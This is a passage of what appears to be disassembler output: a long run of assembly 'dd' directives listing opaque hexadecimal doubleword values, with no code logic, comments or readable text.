0CB9C4EF2h, 0A735403Ch, 4020602Dh, 0EC365100h dd 0EAF8C995h, 0C8F843h, 6FB80654h, 254E65F9h, 6D3C0F00h dd 1750D1E2h, 958A00C0h, 2172932Dh, 303A4516h, 151F8536h dd 0AD006C5Dh, 10BE3E78h, 0AC060E7Fh, 0E060271Dh, 22B4906Fh dd 0B1088F00h, 5B8A6211h, 0CB440018h, 1A29A2DAh, 0F03C495Fh dd 0B19D8012h, 20F1042Ch, 6EED0065h, 0D1FB6ACh, 8B0017C6h dd 948C3A83h, 0A19CE5h, 0EC9F78EDh, 0CD8A7DEBh, 0C271AD0Ch dd 14E58C6h, 0BC86955Dh, 800F1EFAh, 4DDFD480h, 0DD2B3Ch dd 2F71E58Ah, 0EADE0ECh, 61313F2Ch, 0E2C56200h, 0BCF4DEh dd 963582AEh, 0E19FA9A4h, 428C900h, 1C42EE62h, 1E4F007Dh dd 0AB2DFBD9h, 0A000F0FDh, 237AFF6Fh, 7176BCEh, 0DCB6CA7Eh dd 4FA3115Ah, 849B7024h, 0FC9E5F0Fh, 259DBDC4h, 938CB8Bh dd 7D0E00EDh, 1BD95ADh, 0B565DDC9h, 0F4AB03F9h, 1448A2D4h dd 9C5200E0h, 0A66058B2h, 40D80237h, 0FEBF0567h, 0DD81A180h dd 0C300900Fh, 1AEB2E94h, 1091358h, 0F09CBD56h, 0F0B45964h dd 6AF40F6Eh, 0FE3DCC00h, 0A7AE6684h, 94610026h, 0BAC1958Dh dd 0E67E1872h, 927B2E00h, 937EADC0h, 4B260E2Bh, 12207035h dd 0EB29F908h, 0CEAA5C00h, 0FE076980h, 0A95000F5h, 23118C62h dd 0CB0F762Ah, 0C07C558Fh, 0DBAD8ACh, 4F1B0365h, 43A641D7h dd 0CE3245C8h, 28A3B100h, 76E71791h, 525D0148h, 0E1AA483h dd 8A11E0D6h, 64E1980Eh, 187900D9h, 0E9DB08h, 0F8310DD2h dd 4F48C65Ah, 6A4A7F00h, 0AE582EF5h, 0EC9B001Eh, 304E8AADh dd 4900C31Dh, 865B273h, 1F46EE07h, 805AE9D6h, 0E22B4280h dd 610B8548h, 3DDC60Ch, 0F81E62B2h, 0A107EDh, 7EDF74E7h dd 0A0777CB8h, 8DA28B0Bh, 40350FF5h, 553F1B16h, 5A2000D2h dd 3C807690h, 100270Ah, 0D04AC60Eh, 0E3E9CAh, 0E79CDE99h dd 8E7BF83Bh, 0CD0037F2h, 8B280DA7h, 13ADB282h, 0B1B841h dd 8517EC00h, 4200B468h, 0E677D91Bh, 1BA02BFh, 0AD4525F5h dd 0C4321E8Dh, 9800D597h, 178283E5h, 2420E861h, 0A75DAEh dd 0E3D225FCh, 70B5EB18h, 5A993E12h, 7E00F53Ch, 8E57F00Bh dd 8B00DF30h, 77955922h, 1F88A82Bh, 80C0A17Dh, 9E33E0FAh dd 0BD0090CEh, 86608D89h, 63DD21h, 0FB1CDB5Bh, 0BECC51C2h dd 6CD4F000h, 6201EE99h, 172D0068h, 6078C6EFh, 0B0006A02h dd 0A93970BEh, 3BF43C8Ch, 0FA80D47Eh, 46B97951h, 0BB7E44F0h dd 0BAA7FB1Eh, 9AC3541Eh, 1A83F10h, 212E8D10h, 0F8C9DA59h dd 5300AFE3h, 0CAC70A57h, 0DEB67Ch, 0EBABAA3Eh, 0CE688DC8h dd 66CB1D00h, 0EE5CB505h, 0B2801FF6h, 21A3801Bh, 9B7761BFh dd 0AA00B97Ch, 0CE6C7249h, 0E37A68h, 0C81B56A7h, 0BDC2EFE4h dd 0B1D1CF00h, 0EBD677C4h, 51D20066h, 0ECA05228h, 630044E5h dd 1B37FB3Fh, 3EA767h, 0F669D372h, 0FE175376h, 477CBF01h dd 4F8DBE3h, 3DA770h, 4CB80E3Bh, 66777605h, 0D3B58800h dd 0DF1CB3A3h, 966D070Bh, 0C00DF598h, 0E34657A7h, 48BE0C00h dd 45664963h, 104003BDh, 0A7FF4C5Fh, 0F242A01Fh, 869F7F80h dd 1409960h, 1E293A7Bh, 40532B38h, 0DCDD6AD9h, 96FAB200h dd 687574A0h, 0C12000BAh, 2B554BCCh, 0CA00CFD3h, 88DEE684h dd 5CA2D8h, 1C0F9BBCh, 0EE913A05h, 0FD97EA00h, 9E79981Eh dd 0B02B0009h, 0BFB5AFDEh, 2826065Dh, 28AD819h, 574280FDh dd 0A7A940F2h, 3E613F53h, 0F078CBEh, 30B3329Ah, 9D5F7536h dd 9CB47700h, 0ECAF7BA7h, 5D9400B9h, 0BBAC7CCEh, 52001446h dd 0B243D6E3h, 2EA087Ah, 0B51F2794h, 79602578h, 66F82E15h dd 0FD00F674h, 2C856739h, 0E0056Eh, 7A99899Fh, 8CE4B597h dd 806AB73Dh, 8A382D88h, 361570Ch, 85F8CDECh, 0A4A019ACh dd 0BE07C73Bh, 234EB474h, 0ED442600h, 17B6F402h, 95BDACh dd 807B17F7h, 73019D4Eh, 1CD075FFh, 4C42FA8h, 91250037h dd 1F482C6Ch, 330087B8h, 11C51EA1h, 0A8D1A2h, 9A07CC6Fh dd 3C3D06F9h, 0D41D2D00h, 84F6A93Fh, 67F312FDh, 54990304h dd 0C08CDDA1h, 96567A0Eh, 980630Fh, 4B15CF35h, 0F190007Fh dd 0E142DE9h, 331AC24Ah, 7DD980BDh, 63853076h, 2D484400h dd 71963BFBh, 1E150024h, 2FE55A6Dh, 0D8981C23h, 0F2EAF607h dd 60A062D2h, 77E2CE3Eh, 0FBB500C3h, 613323ACh, 0C4008C9Eh dd 661EE3B6h, 3AAB7E2h, 7780EFD3h, 9980CF64h, 0BF4CA29Ch dd 0BC0F706Ch, 20184CCAh, 0EE81B9DAh, 3FE8075Bh, 0AB977043h dd 76ED5700h, 871EA315h, 0C7807B5Ah, 59841E14h, 81EAD2h dd 0DED50CEh, 15BD2033h, 0AF746F13h, 48309C40h, 75F632CFh dd 0C961003Ch, 0EAE0EBA1h, 400C23DCh, 10EC27B9h, 78800334h dd 0C6F4F86Dh, 94CF00D7h, 1B1FBC4Fh, 92401D10h, 500DFFD1h dd 607100AEh, 4B2CDC29h, 0B600EBE8h, 0A0A258D0h, 60B157F7h dd 95478082h, 0B41D42DAh, 0C9C0FA96h, 0D25A368Dh, 1C180F7Dh dd 39808C3Ch, 6C6F8F34h, 0DCB9BEA1h, 17E4E9F3h, 0EFA5C417h dd 6BB6B306h, 79AD00D0h, 0CCF1B37Dh, 50001D7Fh, 33E1803Dh dd 0B0EDCF39h, 0A0A401D4h, 0DB99FFD7h, 19EAC04Eh, 0EE750800h dd 0E3978E73h, 0E4890044h, 0CC1C6779h, 9C0019C1h, 0EEC7EAF8h dd 68F180h, 0B073618Ch, 5DC54395h, 7F866B03h, 0B022DBB1h dd 0E08C51h, 455625A5h, 2AAB3878h, 0E827500h, 0D8B11F4Dh dd 0EFE2297Fh, 3D0D04C4h, 0C1278019h, 0D01DA3F1h, 841964B9h dd 0A03A5421h, 140083D3h, 85E83236h, 9287CCh, 0B90E8475h dd 31B2B529h, 0B444CB0Fh, 0ECEF8093h, 302A7F4Ah, 0F849ABA9h dd 0FF00AC66h, 0B75276E1h dd 5477FA99h, 5ECC8B3h, 317C78E3h, 0E74C00BEh, 0B1FBD318h dd 6C106443h, 69E2077Fh, 0ABD152DDh, 84C0921Eh, 0D4E80595h dd 0EE4118Fh, 6005B3B8h, 0D578C0E5h, 0DE00CFC3h, 9757C655h dd 0EEA4761Ch, 5170CF81h, 0AA2CBAE0h, 431DE164h, 0E6403627h dd 0DBBDE588h, 1D04002Ah, 68AA3BE9h, 122CCF99h, 0AD002C33h dd 4D69D9DEh, 0B57700F0h, 0C25FF7A3h, 6890F8B3h, 0CDB7AD00h dd 69531B62h, 1ACC2C22h, 764800C0h, 43AA5565h, 414D9100h dd 0CBA8AF4h, 7CE97F54h, 301701Ch, 61FC21D4h, 3D9089E2h dd 86396CCBh, 5D1D0052h, 0F3125ACCh, 75D204E7h, 80246ABDh dd 6D950624h, 0EA107200h, 5FB2280Bh, 52BF00E0h, 0E7B02E38h dd 0F2013DF1h, 0C3376C39h, 91E04C29h, 5CBB0031h, 5174303h dd 0A300C467h, 714E2ADEh, 0B47D9692h, 0C0782F74h, 4DC2CD00h dd 95BC80CFh, 970B00A4h, 5F244B54h, 3900C303h, 7E753256h dd 195831h, 571A50AAh, 0CE678C0Eh, 0AF603A00h, 8F978502h dd 0ED3D0315h, 0DF37D539h, 2BDE3CF8h, 3B67CB00h, 9E5D51F9h dd 6430021h, 0FBA9A875h, 0D660B374h, 5C649420h, 0F6AB0968h dd 47001223h, 6A2708D8h, 45008B98h, 0B9AA4855h, 1C8E5EC2h dd 80D9C39Fh, 51A5ED3Eh, 210CEEA8h, 38F84A2Bh, 58A3FD99h dd 0DC5E5944h, 5777F25Dh, 771939C0h, 0EC044CE1h, 70DFFAh dd 0C39A409Dh, 5A03E934h, 6D85CA3Eh, 2E79B9EAh, 0F68483DAh dd 90406062h, 190801A4h, 290D754h, 0C0327A18h, 980C3A10h dd 5CCC00BEh, 3584DAF5h, 2F037749h, 0A75354B8h, 0F0E193C9h dd 29F7C1h, 0D21BCE9Ah, 776DDB02h, 0ED3F070Fh, 601500E2h dd 7D7CF89h, 767B462Fh, 81860F8h, 0BFFA33DFh, 0CCC9E100h dd 96DC2AC5h, 0AB990022h, 37DA9F3Ch, 4707286Dh, 62CF3FC4h dd 93CEC130h, 603AFE7Bh, 8D5161D2h, 16007769h, 242FC2B7h dd 0AADD38h, 1BF709A9h, 0B235344h, 95318E0Fh, 7C1958CDh dd 0D6303D46h, 0C2E5EA84h, 0C4AC405Bh, 4C2FECFCh, 8500E3A7h dd 12E1C1DCh, 3A009EDEh, 449F86F9h, 0F616EF2h, 0BE852223h dd 20AB51E0h, 1307DC07h, 1EAD818Eh, 91457630h, 0CEB600C6h dd 0E2925390h, 5776BD07h, 0E1C4DC07h, 0B009CFEh, 83D11Fh dd 25342ECCh, 0C617F084h, 95D9D309h, 0D5005585h, 0BF58F697h dd 0EAE3C00h, 4CC8D2Dh, 0FD110003h, 0C9C7D109h, 10DE02E3h dd 427AF1C3h, 0E15EE8A8h, 3070F65Dh, 0E021C88Ah, 0ED00951Bh dd 6454D546h, 0FC3A8A0h, 0E562552Fh, 5C5843FEh, 1E8E3E4h dd 471E2C54h, 6213FD1Fh, 46D85000h, 32853FCh, 2E8224FEh dd 20031D90h, 16647E08h, 0D26CF00Fh, 145BFA55h, 9EE554FFh dd 81214C00h, 8E979CCBh, 19B340Ch, 731B8C2h, 0FB45C494h dd 875230A7h, 0BEE84821h, 0F7F78850h, 35674000h, 8A779476h dd 0E551007Fh, 705012FDh, 0BF000A17h, 0DF105D3Ah, 0C1A3E3h dd 0BD1A785Eh, 1F6551F1h, 894B3000h, 64471C70h, 0F1105C95h dd 61BB2500h, 140D667Bh, 820B3900h, 0B585A30Ah, 0EE53038Eh dd 0F37579DDh, 0AE8860A3h, 1300EDADh, 0FB5BF274h, 6C9F92h dd 73B9F0CDh, 4FA81763h, 0F30FDB19h, 5F303920h, 0F9C75BAh dd 0EDC22EB2h, 0F8DF6B80h, 2B003BF1h, 0F683D5E8h, 0F4A61B25h dd 399200A7h, 0C41EE971h, 35005B0Fh, 936CF53Ch, 7EE3FCFAh dd 800A0082h, 6A1FDE4h, 0D9008773h, 9B8F3599h, 0EAFB5689h dd 53014FEh, 300B07Dh, 5FA0119Eh, 0FD004DEFh, 0C9FE683h dd 2CB1E5h, 6BFE9094h, 4173C6A2h, 0E9DBD00h, 533CA436h dd 6D76007Fh, 0EC9043BBh, 0DA004206h, 0E651463Fh, 0F61173h dd 6A7DC644h, 9D14E1A5h, 0DDE2131Eh, 0F12AB04Ch, 2E49006Dh dd 0A94027D0h, 730099A4h, 83DC7E0Dh, 72AF46E5h, 0EC2008Eh dd 0B8E189F5h, 0B200BDA0h, 9C800742h, 0B004C81Fh, 0BB770081h dd 94FFB08Fh, 7A600FC9h, 3F923E10h, 0CCB10052h, 0C6220411h dd 0A8F26791h, 847A1500h, 0CFEB3C6Bh, 1DC2003Ah, 9A0B71F4h dd 0C3006E64h, 6DA04117h, 7FA268Bh, 0F0EFCCB2h, 0ADFB6322h dd 6A40D7B8h, 5C1B4500h, 3D35C239h, 59D50A4Ch, 0C46381h dd 0E84FBBB4h, 47A5806h, 2C157638h, 9B007720h, 55C621FBh dd 74BE285h, 6ACBD793h, 25E4D053h, 98C0E94Eh, 0F07E2FBEh dd 10040C0Dh, 64D8B479h, 83111D1Eh, 0EDB3B80Eh, 0BE40F086h dd 769AFF0h, 8081B6A8h, 7C94C039h, 0D70CF217h, 402698CAh dd 4658C23Bh, 0BD010EE4h, 0A11090D9h, 84838265h, 9E9AD030h dd 0F5188090h, 2B593A97h, 0CBD90AEAh, 8C589298h, 0A159ED12h dd 188FAB21h, 0E95CB181h, 0F4C4B745h, 0B6A70A76h, 0C2CD4D9h dd 9EB15877h, 0DE089242h, 850A3917h, 0D1122CAAh, 18586819h dd 8659F0B7h, 0AD3EB1FCh, 44DF448Ah, 0C2884A44h, 89461857h dd 9A915080h, 0BB3D5B1Eh, 6761B901h, 24E8E88Ah, 511624A0h dd 3204008Fh, 0C13ED668h, 0E3B87C01h, 1FAEDCFCh, 80803BEDh dd 8DB0CC9Fh, 0A250161Ch, 6B187AECh, 0B2E09807h, 79E031h dd 0C5971788h, 0D4642BB6h, 0C4587C00h, 0BCCBDFD8h, 4D6E0533h dd 83CAB0B4h, 0C9F0C2B5h, 0E703FD14h, 58DE10ABh, 12D838AAh dd 65FF8380h, 85BCC654h, 0BA4CCA1Fh, 4BE48987h, 0C5940590h dd 58280ED6h, 0E600C036h, 2C33B3E3h, 0E251CE00h, 87ABFE4Dh dd 6C8D00B4h, 7D1FC50Ah, 7803FA3Dh, 40C976CAh, 0B9C7C06Eh dd 106200AFh, 38E0F6C1h, 0A900CB8Eh, 0BA1FD1A5h, 0F6FD3D71h dd 42AA005Fh, 8CAFE06h, 0F6077639h, 0C7EC7A2Ah, 0E035B0D0h dd 7F20FFFh, 3A80600Dh, 4D4E2E4Bh, 0A29061Eh, 9400C69Fh dd 0F9680E7h, 54C039B5h, 21D8FD80h, 2C35E391h, 5FB72B00h dd 6F64A838h, 0FA20007Eh, 72B23E87h, 23F63CEEh, 5C45C900h dd 5F4C1F7Dh, 35A0041h, 0ABD7B4F4h, 6C00B191h, 0CEC09307h dd 1CA66D4Ah, 0C04940F0h, 0E25E8FB6h, 4600A77Dh, 2A8AE0A8h dd 6F183237h, 9021467Eh, 208CD819h, 0A600BB50h, 0B5A2E4D3h dd 0BDD224h, 92DBFECAh, 0E5CFD020h, 1DA2B4Ch, 0FAB58B8Fh dd 0C1FC7454h, 0C4650059h, 3E6B10B2h, 9E7D9F28h, 99A94300h dd 42814D07h, 20A201E2h, 0B14F3045h, 0E7BDEC7Eh, 0FA1BF100h dd 0CE1D892Fh, 9F410714h, 40AC704Ah, 34EF672Dh, 2565CA00h dd 0B496C386h, 0FFC5008Ch, 0DAE28C8h, 94009152h, 0C1093F55h dd 485E66F5h, 711D6083h, 0F0030323h, 53E05B7Dh, 0B2F0C5AAh dd 0D4EFFA01h, 404365ECh, 7D6C90F7h, 78EAEBh, 0B8D7AECFh dd 0B17F5B97h, 962E4500h, 8875E5A8h, 0CEFA007Ch, 95FDD383h dd 6703EB7Fh, 0EEDF8626h, 971FD0DBh, 0F338C15Ah, 0E02F9D3Fh dd 0BFE0A978h, 0F0951002h, 60E8FA8Eh, 7E4A01Ch, 3DD1547Ch dd 79606F88h, 35F59C25h, 0B6E91D02h, 0F593AEE7h, 0C99E2580h dd 0FB1C4C3Fh, 0BB3B43h, 2D46D185h, 0F66DA120h, 328E0025h dd 0F275AB67h, 7E59CEBAh, 0A44B1E20h, 0C959CB00h, 718128Dh dd 0F4BFDE3Fh, 984AA01Eh, 0AA0E7BE1h, 0A0F38CFAh, 9955410Ch dd 0AEB8022Ch, 76E25B01h, 0AC13F260h, 0B790D200h, 0E8ABE48Ah dd 0ED4F6CCh, 0CDCA1054h, 80819685h, 7BCFD867h, 9C8CA32Ch dd 0BDFDCE00h, 4AD59Eh, 6929C0E8h, 73A739ABh, 98A3C200h dd 0E925F950h, 0FE0803BBh, 13E19599h, 0CD1645C0h, 2EAE7300h dd 0AF8DFD06h, 1EB0038h, 76CC1FB3h, 20150C3h, 1697C5A5h dd 8760A60Dh, 46830041h, 0C8098165h, 0A31FD847h, 7F8EB5AAh dd 8C2767A5h, 0D6043A20h dd 8BA60057h, 59562AE1h, 0AC9AE8F6h, 897ED00Fh, 2EE460AFh dd 78233F7h, 4F038A7Bh, 42EC8061h, 5307366Bh, 0B2FEBB18h dd 6E2957B0h, 0F0D00A6h, 2D99C584h, 0BB001598h, 43305DB3h dd 763BDBh, 6E58F01Bh, 0C40D326Bh, 0CB08DF07h, 3360C970h dd 895C8Ah, 0B5060388h, 55612A4Dh, 0C1641A00h, 771BC934h dd 1F65E29Ah, 40DCD33Ah, 50E7CF6Eh, 9160BD2h, 50202F5Fh dd 57F239h, 451C8075h, 68AEA588h, 0C983510Fh, 0A740FD7Ah dd 0DEF33266h, 44B200FBh, 9CFAD738h, 5B60E0ACh, 63CFEA10h dd 8D03038Bh, 5918BCA2h, 9A371800h, 0B6FC5D6Fh, 0D80B003Eh dd 168AD290h, 8548F9C6h, 1FA80040h, 52B0F753h, 127329h dd 0D5DAE9F8h, 4D386D9h, 890B6503h, 0A07D1EBAh, 3BEE8B6h dd 0E4F5E334h, 0E6980A73h, 0D400913Fh, 390494EAh, 29125Ah dd 0C2D1CF4Ch, 5FB4FFECh, 0E007A579h, 793D8C4Eh, 4DF08331h dd 77694FD8h, 0AC2700E8h, 8F5AB78Bh, 5E0016BDh, 55F78DFFh dd 21C24Ch, 0C4A59A50h, 0C8209086h, 0C2B002ECh, 0F3701800h dd 0A4100849h, 0B3780067h, 254B0A72h, 0A0006D77h, 119E2FB0h dd 3C464035h, 0EA807BCAh, 2C8D16D4h, 2100DD45h, 0BB9357FFh dd 12A14F2h, 8022A8FAh, 0D4C64AC8h, 4D0726A7h, 20A3992Bh dd 7784D150h, 34D50F28h, 61A081C1h, 4CDCD853h, 806ECE38h dd 8038A865h, 0EE9EAFAh, 2807742Bh, 961CD3C0h, 84002CDDh dd 6ECE4AFh, 0C31F5D4Bh, 0EFBB5C2Ah, 95A5E0F0h, 4972B400h dd 64BD38C1h, 0B9E900CBh, 1B718E31h, 863D7C5Bh, 0E62896A5h dd 3E84745Dh, 0E5C052DFh, 7C231D5h, 0BB1C0EE7h, 6358C038h dd 67901BD2h, 7D86B800h, 0B9BE3757h, 0C4F00AEh, 1CB22996h dd 0A303BC39h, 0CA6279EFh, 4A5DC845h, 0CDEC3A37h, 0BF00153Ch dd 0AD9DFA07h, 5400DD10h, 52C6CE3Bh, 0CF7248h, 5E713C0Dh dd 6A0AF290h, 0AB798CA8h, 6400FEF6h, 9E7AFB5Bh, 882515h dd 38080A0Bh, 0C522CF46h, 71C2231Eh, 4F7E2F44h, 0DE16D80h dd 453F00A8h, 72794E34h, 587CFD4Dh, 49051B00h, 0E07A409Eh dd 52860039h, 0CFBC9CDh, 160073BEh, 0ACB03A2Eh, 4746A5h dd 0B8E8E550h, 36808F75h, 281C1C7Eh, 0A9575E13h, 0F6CA7400h dd 94D0258h, 0CEE20110h, 0FB521840h, 90DA7300h, 9B616C3Eh dd 0AF2C0583h, 87D20845h, 4F2EC0F3h, 890007EEh, 1FCAD351h dd 0C661A0Ah, 0A0A3C85Fh, 4F788F60h, 0DA84DC00h, 47E06A65h dd 46100F45h, 0CD60C032h, 0F6D7A3EDh, 44B7B314h, 0AC3A0080h dd 0A01C50B1h, 769F07BEh, 0C02B4CC0h, 98179A06h, 0CAD28800h dd 358FE062h, 1372F6h, 0EB3722FCh, 0A1B052ADh, 0D826F000h dd 87720753h, 48F21Eh, 8B4D7437h, 860EBDE8h, 57BEB30Fh dd 0A2C72068h, 79E03A31h, 0CC160109h, 0F110DE67h, 2135D884h dd 0EF41B600h, 0AAD98CB1h, 89254860h, 0CDF42300h, 1F44F995h dd 0F7F87500h, 3AC7CEBBh, 4B500CFh, 7225EA81h, 9B00F9F1h dd 14ECB6FBh, 0A0806291h, 0B939E90h, 0E1EE09F5h, 50182381h dd 0EC82D359h, 7519860h, 7EDF9200h, 67B41552h, 9B1C28F4h dd 4BB0594h, 1FDB16BCh, 0C7C412D4h, 4B8CC144h, 0F802C4Fh dd 80926CC1h, 14331691h, 0A6B206F1h, 3181ADFBh, 0B012F974h dd 0E080DD9Ah, 0C0881Bh, 20D3CB7Ah, 9C233486h, 0D0E67D2Ah dd 0C9D12100h, 5CF5AC2Ah, 0C1FA07FDh, 20E0FF47h, 31EE2780h dd 1103BA00h, 39E95404h, 7FA203F9h, 8397F6B8h, 3448E39Ah dd 2100BAAFh, 0EC12840Eh, 0C530D45h, 0CE4B44F4h, 5090C20h dd 0EBF463Ch, 61F22095h, 6436C9h, 0E0ACA33h, 104AEC41h dd 734527h, 1CB33C00h, 567C01CDh, 26CBA2FAh, 1D676054h dd 6FEBD800h, 66EF6DE8h, 0E33500E0h, 3802FBDh, 0F6001AECh dd 45F4754Bh, 7FDC0BFh, 92E2A919h, 4C7E9005h, 44013848h dd 0A893B79Bh, 2ACC2CF2h, 1F5C0CA1h, 0B63622E3h, 3ADCD514h dd 3AB00D3h, 0E6A254C4h, 0E487EBEh, 3B88CFFBh, 192A4A01h dd 2BED601Eh, 858DFC01h, 6E8CB254h, 3C0DBC8h, 13515B0Bh dd 25A0E4A6h, 8400A703h, 9A96B97Bh, 2168EEh, 0CDD99981h dd 12D0D3Ch, 44042707h, 600097B4h, 1D75D711h, 0CB68DDDEh dd 36099AC5h, 9FD6DA80h, 4900E27Bh, 2F21DCB8h, 778CA1h dd 0A62B0ACh, 5BD9AEDDh, 8915EE3Ch, 8053EB65h, 68D497ACh dd 797D00E2h, 51821603h, 0FD0791E0h, 6618E3A1h, 0C94308A0h dd 558F0040h, 0A03B8EEFh, 51005AA6h, 0FD65F068h, 907245h dd 7A8994CFh, 407D3F19h, 85009F78h, 8BB7DA61h, 2CD523h dd 0AA9D3890h, 95AB7A05h, 1F602600h, 1CE67564h, 2EF900ADh dd 7F30ED14h, 28C0AB27h, 5FD7F52Fh, 4089E81Fh, 29208DE3h dd 7B862215h, 51961330h, 80C75FFFh, 528827C1h, 0D779C674h dd 571051FFh, 3518C9E8h, 0B4E72999h, 0F5DBA940h, 848EB811h dd 1350E951h, 424C7D04h, 1D8035Fh, 1C334B1h, 29119EFDh dd 43298C08h, 209751A4h, 0F131C2D5h, 4E8629A1h, 29C7C998h dd 0C375973Bh, 1AC0FC00h, 0BD138D54h, 8179004Ah, 107FF095h dd 5AE0CFD2h, 8669BF00h, 48459253h, 66B400EEh, 0B98B291Ch dd 2B0098FAh, 900BF8FEh, 1BA1ABh, 0BAECB56Eh, 135F1C8Dh dd 0AB93F00h, 9645019Ch, 0DED900A6h, 0DC6C32A0h, 497054FBh dd 0BE0098FAh, 0D0105327h, 1C90E69h, 38DF250h, 317C4A8Eh dd 542F300Ch, 0FB25D900h, 26840CC4h, 0B0691F0Bh, 0C2034075h dd 0C88FA992h, 77978702h, 0C07199FFh, 3C1EAEh, 861CDF90h dd 7D980547h, 803F3A38h, 0D43BEC6Bh, 20BEE3h, 44CA9FF5h dd 0E431F7D9h, 5E0083FAh, 1B27F2B4h, 3ACCED37h, 708110B6h dd 0DED2A095h, 0FD8DB33h, 9F00B09Eh, 0B8AEFB2Eh, 12362F1h dd 30D3BE3Ch, 0E452D5C9h, 0D20FEDCCh, 0A0886801h, 12708B02h dd 3D63035Dh, 0E642A540h, 0F1B93200h, 88C638A9h, 0E5AB04CEh dd 0FF505313h, 3EE78200h, 16273B7Fh, 13EA5B7Dh, 8D03FA42h dd 886C0618h, 0FAAF90h, 80D6BB71h, 6BF5504Eh, 0B083E400h dd 23037414h, 26B1E638h, 508904h, 85673D19h, 9900AA3Ah dd 572737Fh, 11744B5h, 5CE590C4h, 0C8DB9D6Eh, 3B3CEB19h dd 46017509h, 0BD2CBE23h, 0CEF0D281h, 7C0101EEh, 76FDE0CBh dd 0CAF1C046h, 18BEA600h, 5560670Ah, 74F0C0D8h, 0A18AA52Eh dd 10EEB500h, 52569A4Ch, 86380083h, 24B8ACBEh, 25292C62h dd 67E0F0A4h, 2DCD95h, 48026DC9h, 38B17D15h, 429CF800h dd 16982C2Eh, 46824CDAh, 0BF283E00h, 6BCFD9B3h, 0E8958800h dd 0A60E50F3h, 29BA078Ch, 0D0C0B6EAh, 0D48A25C7h, 0AD735F00h dd 82F78FD3h, 40A61F2Bh, 0E3003CD7h, 0F5588C57h, 897072E5h dd 111E9609h, 91000063h, 0EE098304h, 2028006Ch, 24C3C844h dd 0D100D439h, 56AA98C1h, 451136h, 7AA85890h, 0A2A1A94Bh dd 2E00A5E2h, 68ABC5BCh, 668D87h, 9E3F98B8h, 0E3F01302h dd 67CE001h, 6BACA416h, 8AED4h, 211D1EB0h, 4958E2EFh, 6082CB1Fh dd 0A600701Ch, 2DC383AFh, 32FB00F4h, 201F9DC5h, 58287606h dd 83099425h, 80CC6FD7h, 77A7A12Ah, 0D4343E97h, 0C3FA2300h dd 1CE8BC32h, 0C5F92800h, 8891817Dh, 40930013h, 0C4AA4A24h dd 0CA00543Dh, 0D46F0156h, 2D79C84h, 0B294F174h, 52E03C77h dd 220EFBFAh, 0C0E1CF53h, 54B8D8A0h, 0A8FF09EDh, 14B078A2h dd 0D20E2B80h, 11415Ch, 4E44A115h, 0CCFD3AE5h, 0B2F2CB00h dd 85EA1EC2h dd 94DFA900h, 5EA77514h, 18D460A4h, 0D68458D2h, 43275407h dd 44C0F464h, 6DC5FFh, 523D081h, 0D14F3246h, 0C042390Eh dd 78614043h, 2EC340h, 0FBAF090Dh, 8BB1D238h, 0EF017273h dd 269CBC90h, 0F0DB5CC2h, 52BBE7h, 0D3EE6BB9h, 5366BA12h dd 0DBCA2B00h, 0F38CD525h, 3AC0090h, 7FAD3189h, 0B0004179h dd 23759C8Fh, 0E706A3h, 935813CAh, 60041C63h, 4BDB5200h dd 0F51665C9h, 2C1B00F1h, 7C9CB312h, 2F1FD169h, 0F71DD30Dh dd 39A61F00h, 0F84FF1Ch, 4AE1D8C7h, 0EEA001CFh, 8EA4BE94h dd 8800F7E2h, 7626659Ch, 0F510659h, 58834196h, 1B702803h dd 0E31536D8h, 0F85E8507h, 89707E5Bh, 0DFAFEDh, 3395E7BFh dd 0EEEF10CEh, 0D8697A00h, 0F6D65D8Ch, 9DB12650h, 738F80F4h dd 365AC4FEh, 0C3A9BC09h, 0A5A70318h, 0EA27F85Eh, 82B20009h dd 6E1ACF33h, 0B1008E5Ah, 2DBFCBE6h, 1287CF7h, 58C57E05h dd 0D0B459D9h, 0CD00865Ch, 0A89AAD7Fh, 4CF41h, 0D70DCE69h dd 40B17EF3h, 0E130B500h, 0C3B66ACCh, 3032E2DFh, 0E7112047h dd 0FF0EA98Ch, 0E0E2C6F1h, 737CCA03h, 987148h, 0DE60A338h dd 0D1D64AD0h, 31A78901h, 0AED7C60Eh, 2DB3AD4h, 22896EDh dd 0CC3975Ah, 0A69C44D8h, 9727B00h, 898E5882h, 0AFEE002Dh dd 7E50855Bh, 8724020h, 71A1931Dh, 742E340h, 0E8BCEE2Eh dd 0E0F20068h, 0F5247C2Ah, 410090DCh, 0FD93C9CBh, 1A01FCh dd 0EFE0BFB6h, 925E3DD5h, 42448h, 0D336AB42h, 72890B2Fh dd 905054FEh, 0EBD800FBh, 5915C2E9h, 2C00F476h, 37E14B9Eh dd 17BF11h, 975D62E0h, 2D16E8C1h, 36F03Ch, 0AF65B52Eh dd 411E49h, 1DC46EB2h, 6AAA5563h, 0AD6DE700h, 8B7B2124h dd 0A97A3E50h, 0CE2DE803h, 0F88E1C3h, 3B0B2EE7h, 435EDFh dd 56F1BC52h, 0D0C00B73h, 0AF802F30h, 0B20FB928h, 2E4E8E00h dd 0A3A1E575h, 4EF0071h, 65F59378h, 0B40ED48Ch, 29242h dd 0AD0E5720h, 7B9D28CDh, 781603BCh, 0FAC8E1ABh, 742BD8E8h dd 1A9C6300h, 0DED39D61h, 0CC300F1h, 0A2253ACBh, 3200B3A4h dd 89D02FC4h, 81E6Ch, 773F2BF2h, 0CE73587Fh, 0A1AE250Fh dd 4039CF7Bh, 0B8AF98D2h, 0E003EC0Fh, 6604013Fh, 0AB9A9F4Ah dd 20122077h, 0B6002298h, 259BE583h, 7D1161A5h, 8EB00E8h dd 8E21A2FCh, 6000EF90h, 0E19B2E5Fh, 3C6A0C80h, 0A38050B4h dd 9AFCFE6h, 17005E20h, 0CD23443Bh, 0BFC706h, 15F2B3A1h dd 0F36D3E99h, 5BB4800h, 0B83FD68Fh, 265F00EAh, 0A5D108ECh dd 0CC17EE49h, 0F6005736h, 5D37E45Eh, 6C170077h, 7AE24706h dd 0E7165BCDh, 0CC40D358h, 8DDA2A4h, 0A196002Ch, 0F6A632B0h dd 0ED0087F9h, 4D7E2A84h, 35346F1h, 138C75Ch, 0BDEA6A2Dh dd 42BB4AC3h, 465BA2E8h, 0AE200707h, 3E90FCBBh, 0C46009h dd 7506CFECh, 0C86F9C14h, 8A0430B0h, 0C27E7263h, 0DEB94480h dd 1C1B0080h, 3EA57024h, 7B01F352h, 0EEFA841h, 0D0C8408Fh dd 0E03D00F2h, 0B020B232h, 6158674Bh, 0C95300C4h, 1EF1401Dh dd 8409248Fh, 768900DFh, 0B77BC22Ah, 14E54500h, 36330EE4h dd 0FA290327h, 20B1879Eh, 137C23C0h, 0EC61B900h, 96662C1Ch dd 5EB056h, 5718ED2Dh, 0CB69F802h, 